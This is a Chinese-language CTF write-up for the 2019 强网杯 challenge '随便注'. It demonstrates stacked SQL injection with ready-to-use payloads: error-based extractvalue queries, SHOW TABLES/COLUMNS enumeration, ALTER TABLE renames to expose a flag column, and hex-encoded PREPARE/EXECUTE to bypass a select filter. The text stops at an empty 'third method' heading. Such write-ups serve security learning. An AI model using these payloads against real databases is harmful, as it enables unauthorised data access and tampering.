[强网杯 2019]随便注
学习一下sql注入的常见姿态。sql注入,sql注入一些语法,各种注入,select where,union select,select 1,2,3
sql注入需要先判断注入点和注入,直接点击提交,获得如下页面
接下来使用1' 1'or 1=1#进行尝试,发现是单引号,接下来进行字段测试
1' order by 1 #//这里要注意,要么就要在数字后面空格再加#要么就用1;#
sql中注释分三种,第一种就是#,第二种是/* */ 第三种是--,这种要用空格隔开才有效,可以用+隔开
因为url中+就是编码后的空格
到3的时候错误,说明存在两个字段,想到了union联合注入
说明union被过滤了。并且update报错注入也不行了,只能使用extractvalue(1,concat(0x7e,(想要输入的sql语句),0x7e))但得到的消息也很少
payload:?inject=1'and extractvalue(1,concat(0x7e,(database()),0x7e))--+
接下来有一种办法是使用堆叠注入,就是通过;来注入多个sql语句,在这里,我看其他wp先用了show database,但不知道这个爆出来有什么用,于是我直接使用 show tables来爆出表单
堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行。
1'; show columns from words; #
0'; show columns from `1919810931114514 `; #
数字要用反引号括起来
第一种方法:
我们在输入数字1后是有回显的,而且数字表单的字段只有flag一个字段,而words有两个字段,而回显有两个,猜测是words表单的回显,所以在这里我们让系统替我们进行select查询
已知内部查询语句:select id,data from words where id =
然后在这里,我们就需要开始改表单了 alter rename
//alter可以修改已知表的列
alter table "table_name" add "column_name" type;//添加一个列
alter table "table_name" drop "column_name" type;//删除一个列
alter table "table_name" alter column "column_name" type;//改变列的数据类型
alter table "table_name" change "column1" "column2" type;//改列名
alter table "table_name" rename "column1" to "column2";//改列名
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
然后输入1' or 1=1 #即可
第二种方法
因为select被过滤了,所以先将select * from ` 1919810931114514 `进行16进制编码
再通过构造payload得
;SET@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
这里有大小写的原因看monica的博客
进而得到flag
prepare…from…是预处理语句,会进行编码转换。
execute用来执行由SQLPrepare创建的SQL语句。
SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。
预编译
1';prepare s from concat('s','elect','*from `1919810931114514`');
execute s;#
第三种方法第三种方法